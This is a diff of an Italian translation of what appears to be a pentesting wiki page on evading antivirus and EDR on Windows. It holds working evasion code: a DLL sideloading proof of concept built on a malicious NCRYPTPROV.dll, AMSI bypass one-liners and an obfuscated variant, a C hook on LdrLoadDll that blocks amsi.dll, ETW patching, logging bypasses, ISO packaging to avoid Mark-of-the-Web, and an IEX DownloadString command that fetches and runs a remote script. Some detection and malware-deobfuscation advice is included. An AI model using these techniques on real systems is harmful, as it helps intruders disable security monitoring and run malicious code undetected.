+Questo abilita una primitive di sideloading indiretta: trovare una DLL firmata che esporta una funzione inoltrata a un nome di modulo non-KnownDLL, poi collocare insieme a quella DLL firmata una DLL controllata dall'attaccante con esattamente lo stesso nome del modulo target inoltrato. Quando l'export inoltrato viene invocato, il loader risolve il forward e carica la tua DLL dalla stessa directory, eseguendo il tuo DllMain.

 Esempio osservato su Windows 11:
 ```
 keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
 ```
-`NCRYPTPROV.dll` non è una KnownDLL, quindi viene risolta tramite l'ordine di ricerca normale.
+`NCRYPTPROV.dll` non è un KnownDLL, quindi viene risolta tramite l'ordine di ricerca normale.

-PoC (copy-paste):
-1) Copia la DLL di sistema firmata in una cartella scrivibile
+PoC (copia-incolla): 1) Copiare la DLL di sistema firmata in una cartella scrivibile
 ```
 copy C:\Windows\System32\keyiso.dll C:\test\
 ```
-2) Posiziona una `NCRYPTPROV.dll` malevola nella stessa cartella. Un DllMain minimo è sufficiente per ottenere code execution; non è necessario implementare la funzione inoltrata per attivare DllMain.
+2) Posiziona un `NCRYPTPROV.dll` malevolo nella stessa cartella. Un DllMain minimale è sufficiente per ottenere l'esecuzione di codice; non è necessario implementare la funzione forwardata per attivare DllMain.
 ```c
 // x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
 #include <windows.h>
@ -151,29 +150,29 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
 return TRUE;
 }
 ```
-3) Attiva il forward con un LOLBin firmato:
+3) Attiva l'inoltro con un LOLBin firmato:
 ```
 rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
 ```
 Comportamento osservato:
- rundll32 (signed) carica il side-by-side `keyiso.dll` (signed)
- Durante la risoluzione di `KeyIsoSetAuditingInterface`, il loader segue il forward verso `NCRYPTPROV.SetAuditingInterface`
- Successivamente il loader carica `NCRYPTPROV.dll` da `C:\test` ed esegue il suo `DllMain`
- Se `SetAuditingInterface` non è implementato, otterrai un errore "missing API" solo dopo che `DllMain` è già stato eseguito
+- rundll32 (signed) loads the side-by-side `keyiso.dll` (signed)
+- Durante la risoluzione di `KeyIsoSetAuditingInterface`, il loader segue il forward a `NCRYPTPROV.SetAuditingInterface`
+- Il loader quindi carica `NCRYPTPROV.dll` da `C:\test` ed esegue il suo `DllMain`
+- Se `SetAuditingInterface` non è implementata, otterrai un errore "missing API" solo dopo che `DllMain` è già stato eseguito

-Hunting tips:
- Concentrati sui forwarded exports dove il modulo di destinazione non è un KnownDLL. I KnownDLLs sono elencati sotto `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Puoi enumerare i forwarded exports con strumenti come:
+Suggerimenti per l'hunting:
+- Concentrati sui forwarded exports dove il modulo di destinazione non è un KnownDLL. KnownDLLs sono elencati sotto `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
+- Puoi enumerare i forwarded exports con tooling such as:
 ```
 dumpbin /exports C:\Windows\System32\keyiso.dll
 # forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
 ```
 - Consulta l'inventario dei forwarder di Windows 11 per cercare candidati: https://hexacorn.com/d/apis_fwd.txt

-Detection/defense ideas:
- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
- Segnalare catene processo/modulo come: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
- Applicare le policy di integrità del codice (WDAC/AppLocker) e negare write+execute nelle directory delle applicazioni
+Idee per rilevamento/difesa:
+- Monitorare i LOLBins (es., rundll32.exe) che caricano DLL firmate da percorsi non di sistema, seguiti dal caricamento di non-KnownDLLs con lo stesso nome base da quella directory
+- Generare avvisi su catene processo/modulo come: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` sotto percorsi scrivibili dall'utente
+- Applicare politiche di integrità del codice (WDAC/AppLocker) e negare write+execute nelle directory delle applicazioni

 ## [**Freeze**](https://github.com/optiv/Freeze)

@ -193,47 +192,47 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez

 ## AMSI (Anti-Malware Scan Interface)

-AMSI è stato creato per prevenire "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inizialmente, gli AV erano in grado di scansionare solo **file su disco**, quindi se riuscivi in qualche modo a eseguire i payload **direttamente in-memory**, l'AV non poteva fare nulla per impedirlo, perché non aveva sufficiente visibilità.
+AMSI è stato creato per prevenire "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inizialmente, gli AVs erano in grado di scannerizzare solo **files on disk**, quindi se in qualche modo potevi eseguire payloads **directly in-memory**, l'AV non poteva fare nulla per impedirlo, perché non aveva sufficiente visibilità.

 La funzionalità AMSI è integrata in questi componenti di Windows.

- User Account Control, or UAC (elevazione di EXE, COM, MSI o installazione ActiveX)
- PowerShell (script, uso interattivo e valutazione dinamica del codice)
- Windows Script Host (wscript.exe e cscript.exe)
- JavaScript e VBScript
+- User Account Control, or UAC (elevazione di EXE, COM, MSI, o installazione ActiveX)
+- PowerShell (script, uso interattivo, e valutazione dinamica del codice)
+- Windows Script Host (wscript.exe and cscript.exe)
+- JavaScript and VBScript
 - Office VBA macros

-Consente alle soluzioni antivirus di ispezionare il comportamento degli script esponendo il contenuto degli script in una forma non crittografata e non offuscata.
+Permette alle soluzioni antivirus di ispezionare il comportamento degli script esponendo i contenuti degli script in una forma non cifrata e non obfuscata.

 Eseguire `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produrrà il seguente avviso su Windows Defender.

 <figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>

-Nota come preceda con `amsi:` e poi il percorso dell'eseguibile da cui lo script è stato eseguito, in questo caso, powershell.exe
+Nota come prepone `amsi:` e poi il percorso dell'eseguibile da cui lo script è stato lanciato, in questo caso, powershell.exe

-Non abbiamo scritto alcun file su disco, ma siamo comunque stati rilevati in-memory a causa di AMSI.
+Non abbiamo scritto alcun file su disco, ma siamo comunque stati intercettati in-memory a causa di AMSI.

-Inoltre, a partire da **.NET 4.8**, anche il codice C# viene eseguito tramite AMSI. Questo influenza anche `Assembly.Load(byte[])` per l'esecuzione in-memory. Per questo motivo è consigliabile usare versioni di .NET più basse (come la 4.7.2 o inferiori) per l'esecuzione in-memory se si vuole evadere AMSI.
+Inoltre, a partire da **.NET 4.8**, anche il codice C# viene processato da AMSI. Questo interessa persino `Assembly.Load(byte[])` per l'esecuzione in-memory. Per questo motivo è consigliato usare versioni inferiori di .NET (come 4.7.2 o inferiori) per l'esecuzione in-memory se si vuole evadere AMSI.

 Ci sono un paio di modi per aggirare AMSI:

 - **Obfuscation**

-Dato che AMSI lavora principalmente con rilevazioni statiche, modificare gli script che si tenta di caricare può essere un buon modo per evadere la rilevazione.
+Dato che AMSI lavora principalmente con rilevamenti statici, modificare gli script che cerchi di caricare può essere un buon modo per evadere il rilevamento.

-Tuttavia, AMSI ha la capacità di rimuovere l'offuscamento dagli script anche se è stratificato, quindi obfuscation potrebbe essere una cattiva opzione a seconda di come viene eseguita. Questo rende l'evasione non così semplice. Sebbene a volte basti cambiare un paio di nomi di variabili e tutto funzioni, dipende da quanto qualcosa è stato segnalato.
+Tuttavia, AMSI ha la capacità di unobfuscating gli script anche se hanno più livelli di offuscamento, quindi l'obfuscation potrebbe essere una cattiva opzione a seconda di come viene fatta. Questo la rende non così semplice da eludere. Anche se, a volte, tutto ciò che serve è cambiare un paio di nomi di variabili e sei a posto, quindi dipende da quanto qualcosa è stato flaggato.

 - **AMSI Bypass**

-Poiché AMSI è implementato caricando una DLL nel processo powershell (ma anche cscript.exe, wscript.exe, ecc.), è possibile manometterla facilmente anche eseguendo come utente non privilegiato. A causa di questa debolezza nell'implementazione di AMSI, i ricercatori hanno trovato diversi modi per evadere la scansione di AMSI.
+Poiché AMSI è implementato caricando una DLL nel processo powershell (anche cscript.exe, wscript.exe, ecc.), è possibile manometterla facilmente anche eseguendo come utente non privilegiato. A causa di questa falla nell'implementazione di AMSI, i ricercatori hanno trovato diversi modi per evadere la scansione AMSI.

 **Forcing an Error**

-Forzare il fallimento dell'inizializzazione di AMSI (amsiInitFailed) farà sì che non venga avviata alcuna scansione per il processo corrente. Originariamente ciò è stato divulgato da [Matt Graeber](https://twitter.com/mattifestation) e Microsoft ha sviluppato una signature per prevenire un uso più diffuso.
+Forzare il fallimento dell'inizializzazione di AMSI (amsiInitFailed) farà sì che non venga avviata alcuna scansione per il processo corrente. Originariamente questo è stato divulgato da [Matt Graeber](https://twitter.com/mattifestation) e Microsoft ha sviluppato una signature per prevenirne l'uso più diffuso.
 ```bash
 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 ```
-È bastata una riga di codice powershell per rendere AMSI inutilizzabile per l'attuale processo powershell. Questa riga è stata ovviamente segnalata dallo stesso AMSI, quindi è necessaria qualche modifica per poter usare questa tecnica.
+È bastata una riga di codice powershell per rendere AMSI inutilizzabile per l'attuale processo powershell. Questa riga è naturalmente stata rilevata dallo stesso AMSI, quindi è necessaria qualche modifica per poter utilizzare questa tecnica.

 Ecco un AMSI bypass modificato che ho preso da questo [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
 ```bash
@ -249,78 +248,113 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
 $Spotfix.SetValue($null,$true)
 }Catch{Throw $_}
 ```
-Tieni presente che questo probabilmente verrà segnalato una volta pubblicato questo post, quindi non dovresti pubblicare codice se il tuo piano è rimanere non rilevato.
+Tieni presente che probabilmente questo verrà segnalato una volta pubblicato il post, quindi non dovresti pubblicare alcun codice se il tuo obiettivo è rimanere non rilevato.

 **Memory Patching**

-Questa tecnica è stata inizialmente scoperta da [@RastaMouse](https://twitter.com/_RastaMouse/) e consiste nel trovare l'indirizzo della funzione "AmsiScanBuffer" in amsi.dll (responsabile della scansione dell'input fornito dall'utente) e sovrascriverla con istruzioni che restituiscono il codice E_INVALIDARG; in questo modo il risultato della scansione effettiva restituirà 0, interpretato come risultato pulito.
+This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.

 > [!TIP]
-> Per una spiegazione più dettagliata leggi [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/).
+> Leggi [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) per una spiegazione più dettagliata.

-Esistono anche molte altre tecniche usate per bypassare AMSI con PowerShell; dai un'occhiata a [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) e a [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) per saperne di più.
+There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.

-This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) genera anche script per bypassare AMSI.
+### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook)

-**Rimuovere la signature rilevata**
+AMSI is initialised only after `amsi.dll` is loaded into the current process. A robust, language‑agnostic bypass is to place a user‑mode hook on `ntdll!LdrLoadDll` that returns an error when the requested module is `amsi.dll`. As a result, AMSI never loads and no scans occur for that process.

-Puoi usare uno strumento come **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** e **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** per rimuovere la AMSI signature rilevata dalla memoria del processo corrente. Questo tool funziona scansionando la memoria del processo corrente alla ricerca della AMSI signature e poi sovrascrivendola con istruzioni NOP, rimuovendola di fatto dalla memoria.
+Schema di implementazione (x64 C/C++ pseudocode):
+```c
+#include <windows.h>
+#include <winternl.h>
+
+typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
+static pLdrLoadDll realLdrLoadDll;
+
+NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
+if (module && module->Buffer){
+UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
+if (RtlEqualUnicodeString(module, &amsi, TRUE)){
+// Pretend the DLL cannot be found → AMSI never initialises in this process
+return STATUS_DLL_NOT_FOUND; // 0xC0000135
+}
+}
+return realLdrLoadDll(path, flags, module, handle);
+}
+
+void InstallHook(){
+HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
+realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
+// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
+// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
+}
+```
+Note
+- Funziona su PowerShell, WScript/CScript e loader personalizzati allo stesso modo (qualsiasi cosa che altrimenti caricherebbe AMSI).
+- Abbinalo all'invio di script tramite stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`) per evitare artefatti di riga di comando lunghi.
+- Visto usato da loader eseguiti tramite LOLBins (es., `regsvr32` che chiama `DllRegisterServer`).
+
+This tools [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
+
+**Rimuovere la firma rilevata**
+
+Puoi usare uno strumento come **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** e **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** per rimuovere la firma AMSI rilevata dalla memoria del processo corrente. Questo strumento funziona scansionando la memoria del processo corrente alla ricerca della firma AMSI e poi sovrascrivendola con istruzioni NOP, rimuovendola effettivamente dalla memoria.

 **AV/EDR products that uses AMSI**

 Puoi trovare una lista di prodotti AV/EDR che usano AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.

-**Use Powershell version 2**
-Se usi PowerShell versione 2, AMSI non verrà caricato, quindi puoi eseguire i tuoi script senza essere scansionato da AMSI. Puoi fare così:
+**Usare PowerShell versione 2**
+Se usi PowerShell versione 2, AMSI non verrà caricato, quindi puoi eseguire i tuoi script senza che vengano scansionati da AMSI. Puoi farlo:
 ```bash
 powershell.exe -version 2
 ```
-## PS Logging
+## Registrazione di PowerShell

-PowerShell logging è una feature che consente di registrare tutti i comandi PowerShell eseguiti su un sistema. Questo può essere utile per auditing e troubleshooting, ma può anche essere un **problema per gli attaccanti che vogliono evadere il rilevamento**.
+PowerShell logging è una funzionalità che permette di registrare tutti i comandi PowerShell eseguiti su un sistema. Questo può essere utile per scopi di auditing e troubleshooting, ma può anche rappresentare un problema per gli attacker che vogliono evadere il rilevamento.

-Per bypassare PowerShell logging, puoi usare le seguenti tecniche:
+Per bypassare la registrazione di PowerShell, puoi usare le seguenti tecniche:

- **Disable PowerShell Transcription and Module Logging**: Puoi usare uno strumento come [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) per questo scopo.
- **Use Powershell version 2**: Se usi PowerShell version 2, AMSI non verrà caricato, quindi puoi eseguire i tuoi script senza essere scansionato da AMSI. Puoi farlo: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) per spawnare una powershell senza difese (questo è ciò che `powerpick` da Cobal Strike usa).
+- **Disable PowerShell Transcription and Module Logging**: puoi usare uno strumento come [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) per questo scopo.
+- **Use Powershell version 2**: se usi PowerShell version 2, AMSI non verrà caricato, quindi puoi eseguire i tuoi script senza essere scansionato da AMSI. Puoi fare così: `powershell.exe -version 2`
+- **Use an Unmanaged Powershell Session**: usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) per spawnare una powershell senza difese (questo è ciò che usa `powerpick` di Cobal Strike).


-## Obfuscation
+## Offuscamento

 > [!TIP]
-> Alcune tecniche di obfuscation si basano sulla cifratura dei dati, il che aumenterà l'entropia del binario rendendo più facile il rilevamento da parte di AVs e EDRs. Fai attenzione a questo e valuta di applicare la cifratura solo a sezioni specifiche del codice che siano sensibili o che debbano essere nascoste.
+> Diverse tecniche di offuscamento si basano sulla cifratura dei dati, il che aumenterà l'entropia del binario rendendo più facile per AVs ed EDRs individuarlo. Fai attenzione a questo e valuta di applicare la cifratura solo a sezioni specifiche del tuo codice che sono sensibili o che devono essere nascoste.

 ### Deobfuscating ConfuserEx-Protected .NET Binaries

-Quando si analizza malware che usa ConfuserEx 2 (o fork commerciali) è comune imbattersi in diversi livelli di protezione che bloccano decompilatori e sandboxes. Il workflow qui sotto **ripristina in modo affidabile un IL quasi-originale** che può successivamente essere decompilato in C# con strumenti come dnSpy o ILSpy.
+Quando si analizza malware che utilizza ConfuserEx 2 (o fork commerciali) è comune trovarsi di fronte a diversi livelli di protezione che bloccheranno i decompilatori e le sandbox. Il workflow qui sotto ripristina in modo affidabile un IL quasi originale che può successivamente essere decompilato in C# con strumenti come dnSpy o ILSpy.

-1.  Anti-tampering removal – ConfuserEx cripta ogni *method body* e lo decripta all'interno del costruttore statico del *module* (`<Module>.cctor`). Questo modifica anche il checksum del PE per cui qualsiasi modifica farà crashare il binario. Usa **AntiTamperKiller** per individuare le tabelle di metadata criptate, recuperare le chiavi XOR e riscrivere un assembly pulito:
+1.  Rimozione anti-tampering – ConfuserEx cripta ogni *method body* e lo decripta all'interno del costruttore statico del *module* (`<Module>.cctor`). Questo modifica anche il checksum del PE così qualsiasi modifica farà crashare il binario. Usa **AntiTamperKiller** per individuare le tabelle di metadata criptate, recuperare le chiavi XOR e riscrivere un assembly pulito:
 ```bash
 # https://github.com/wwh1004/AntiTamperKiller
 python AntiTamperKiller.py Confused.exe Confused.clean.exe
 ```
-L'output contiene i 6 parametri anti-tamper (`key0-key3`, `nameHash`, `internKey`) che possono essere utili quando si sviluppa il proprio unpacker.
+L'output contiene i 6 parametri anti-tamper (`key0-key3`, `nameHash`, `internKey`) che possono essere utili quando costruisci il tuo unpacker.

-2.  Symbol / control-flow recovery – fornisci il file *clean* a **de4dot-cex** (un fork di de4dot compatibile con ConfuserEx).
+2.  Ripristino di simboli / control-flow – passa il file *clean* a **de4dot-cex** (un fork di de4dot consapevole di ConfuserEx).
 ```bash
 de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
 ```
-Flags:
-• `-p crx` – seleziona il profilo ConfuserEx 2  
-• de4dot annullerà il control-flow flattening, ripristinerà namespace, classi e nomi di variabili originali e decrypterà le stringhe costanti.
+Flag:
+• `-p crx` – seleziona il profilo ConfuserEx 2
+• de4dot annullerà il control-flow flattening, ripristinerà namespace, classi e nomi di variabili originali e decripterà le stringhe costanti.

-3.  Proxy-call stripping – ConfuserEx sostituisce le chiamate dirette ai metodi con wrapper leggeri (a.k.a *proxy calls*) per complicare ulteriormente la decompilazione. Rimuovile con **ProxyCall-Remover**:
+3.  Rimozione delle proxy-call – ConfuserEx sostituisce le chiamate dirette ai metodi con wrapper leggeri (cioè *proxy calls*) per ostacolare ulteriormente la decompilazione. Rimuovile con **ProxyCall-Remover**:
 ```bash
 ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
 ```
-Dopo questo step dovresti osservare API .NET normali come `Convert.FromBase64String` o `AES.Create()` invece di funzioni wrapper opache (`Class8.smethod_10`, …).
+Dopo questo passaggio dovresti osservare API .NET normali come `Convert.FromBase64String` o `AES.Create()` invece di funzioni wrapper opache (`Class8.smethod_10`, …).

-4.  Manual clean-up – esegui il binario risultante in dnSpy, cerca grandi blob Base64 o l'uso di `RijndaelManaged`/`TripleDESCryptoServiceProvider` per localizzare il payload *reale*. Spesso il malware lo memorizza come un array di byte codificato TLV inizializzato dentro `<Module>.byte_0`.
+4.  Pulizia manuale – esegui il binario risultante in dnSpy, cerca grandi blob Base64 o l'uso di `RijndaelManaged`/`TripleDESCryptoServiceProvider` per individuare il payload reale. Spesso il malware lo memorizza come un array di byte codificato TLV inizializzato dentro `<Module>.byte_0`.

-La catena sopra ripristina il flusso di esecuzione **senza** la necessità di eseguire il sample malevolo – utile quando si lavora su una workstation offline.
+La catena sopra ripristina il flusso di esecuzione **senza** la necessità di eseguire il campione malevolo – utile quando si lavora su una workstation offline.

-> 🛈  ConfuserEx genera un attributo custom chiamato `ConfusedByAttribute` che può essere usato come IOC per triage automatico dei sample.
+> 🛈  ConfuserEx produce un attributo custom chiamato `ConfusedByAttribute` che può essere usato come IOC per triage automatico dei sample.

 #### One-liner
 ```bash
@ -328,40 +362,40 @@ autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially
 ```
 ---

- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Offuscatore C#**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lo scopo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di incrementare la sicurezza del software tramite [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e protezione contro la manomissione.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator dimostra come usare il linguaggio `C++11/14` per generare, a tempo di compilazione, codice offuscato senza utilizzare strumenti esterni e senza modificare il compilatore.
- [**obfy**](https://github.com/fritzone/obfy): Aggiunge un livello di operazioni offuscate generate dal framework di metaprogrammazione con template C++, che renderà un po' più difficile la vita a chi vuole crackare l'applicazione.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un offuscatore binario x64 in grado di offuscare diversi file pe, inclusi: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame è un semplice motore di codice metamorfica per eseguibili arbitrari.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator è un framework di offuscamento del codice a grana fine per i linguaggi supportati da LLVM che utilizza ROP (return-oriented programming). ROPfuscator offusca un programma a livello di codice assembly trasformando istruzioni normali in catene ROP, ostacolando la nostra concezione naturale del normale flusso di controllo.
+- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
+- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): L'obiettivo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di aumentare la sicurezza del software tramite [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e tamper-proofing.
+- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator mostra come usare il linguaggio `C++11/14` per generare, al momento della compilazione, obfuscated code senza usare strumenti esterni e senza modificare il compilatore.
+- [**obfy**](https://github.com/fritzone/obfy): Aggiunge un livello di obfuscated operations generate dal framework di metaprogrammazione template di C++ che renderà la vita di chi vuole crackare l'applicazione un po' più difficile.
+- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un obfuscator binario x64 in grado di offuscare diversi file PE, inclusi: .exe, .dll, .sys
+- [**metame**](https://github.com/a0rtega/metame): Metame è un semplice motore di metamorphic code per eseguibili generici.
+- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator è un framework di code obfuscation a grana fine per linguaggi supportati da LLVM che utilizza ROP (return-oriented programming). ROPfuscator offusca un programma a livello di codice assembly trasformando istruzioni regolari in ROP chains, ostacolando la nostra naturale concezione del flusso di controllo normale.
 - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt è un .NET PE Crypter scritto in Nim
 - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor è in grado di convertire EXE/DLL esistenti in shellcode e poi caricarli

 ## SmartScreen & MoTW

-Potresti aver visto questa schermata quando scarichi degli eseguibili da Internet e li esegui.
+Potresti aver visto questa schermata quando scarichi ed esegui alcuni eseguibili da internet.

-Microsoft Defender SmartScreen è un meccanismo di sicurezza pensato per proteggere l'utente finale dall'esecuzione di applicazioni potenzialmente dannose.
+Microsoft Defender SmartScreen è un meccanismo di sicurezza progettato per proteggere l'utente finale dall'esecuzione di applicazioni potenzialmente dannose.

 <figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>

-SmartScreen funziona principalmente con un approccio basato sulla reputazione: le applicazioni raramente scaricate attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (tuttavia il file può comunque essere eseguito cliccando More Info -> Run anyway).
+SmartScreen funziona principalmente con un approccio basato sulla reputazione, il che significa che applicazioni scaricate raramente attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (anche se il file può comunque essere eseguito cliccando More Info -> Run anyway).

-**MoTW** (Mark of The Web) è un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con il nome Zone.Identifier che viene creato automaticamente al download di file da Internet, insieme all'URL da cui sono stati scaricati.
+**MoTW** (Mark of The Web) è un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con il nome Zone.Identifier che viene creato automaticamente al download di file da internet, insieme all'URL da cui è stato scaricato.

-<figure><img src="../images/image (237).png" alt=""><figcaption><p>Controllo del Zone.Identifier ADS per un file scaricato da Internet.</p></figcaption></figure>
+<figure><img src="../images/image (237).png" alt=""><figcaption><p>Controllo dell'ADS Zone.Identifier per un file scaricato da internet.</p></figcaption></figure>

 > [!TIP]
-> È importante notare che gli eseguibili firmati con un certificato di firma **attendibile** **non attiveranno SmartScreen**.
+> È importante notare che gli eseguibili firmati con un certificato di firma **trusted** **non attiveranno SmartScreen**.

-Un modo molto efficace per impedire che i tuoi payloads ricevano il Mark of The Web è impacchettarli all'interno di un contenitore, come un ISO. Questo accade perché Mark-of-the-Web (MOTW) **non può** essere applicato ai volumi **non NTFS**.
+Un modo molto efficace per impedire che i tuoi payload ottengano il Mark of The Web è impacchettarli dentro un tipo di contenitore come un ISO. Questo accade perché Mark-of-the-Web (MOTW) **non può** essere applicato a volumi **non NTFS**.

 <figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>

-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) è uno strumento che impacchetta i payloads in contenitori di output per eludere Mark-of-the-Web.
+[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) è uno strumento che impacchetta payloads in contenitori di output per evadere Mark-of-the-Web.

-Esempio d'uso:
+Example usage:
 ```bash
 PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

@ -383,55 +417,55 @@ Adding file: /TotallyLegitApp.exe

 [+] Generated file written to (size: 3420160): container.iso
 ```
-Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
+Ecco una demo per bypassare SmartScreen impacchettando payload all'interno di file ISO usando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)

 <figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>

 ## ETW

-Event Tracing for Windows (ETW) è un potente meccanismo di logging in Windows che permette ad applicazioni e componenti di sistema di **registrare eventi**. Tuttavia, può anche essere usato dai prodotti di sicurezza per monitorare e rilevare attività malevole.
+Event Tracing for Windows (ETW) è un potente meccanismo di logging in Windows che permette alle applicazioni e ai componenti di sistema di **registrare eventi**. Tuttavia, può anche essere usato dai prodotti di sicurezza per monitorare e rilevare attività malevole.

-Simile a come AMSI viene disabilitato (bypassato), è anche possibile far sì che la funzione **`EtwEventWrite`** del processo in user space ritorni immediatamente senza registrare eventi. Questo si ottiene patchando la funzione in memoria per farla ritornare immediatamente, disabilitando di fatto il logging ETW per quel processo.
+Similmente a come AMSI viene disabilitato (bypassed) è anche possibile fare in modo che la funzione **`EtwEventWrite`** del processo in user space ritorni immediatamente senza registrare alcun evento. Questo si ottiene patchando la funzione in memoria per farla ritornare immediatamente, disabilitando di fatto il logging ETW per quel processo.

-Puoi trovare maggiori informazioni in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
+Puoi trovare maggiori informazioni in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) e [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.


 ## C# Assembly Reflection

-Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.
+Caricare binari C# in memoria è noto da tempo ed è ancora un ottimo modo per eseguire i tuoi strumenti di post-exploitation senza essere rilevati dall'AV.

-Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
+Poiché il payload verrà caricato direttamente in memoria senza toccare il disco, dovremo preoccuparci solo di patchare AMSI per l'intero processo.

-Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
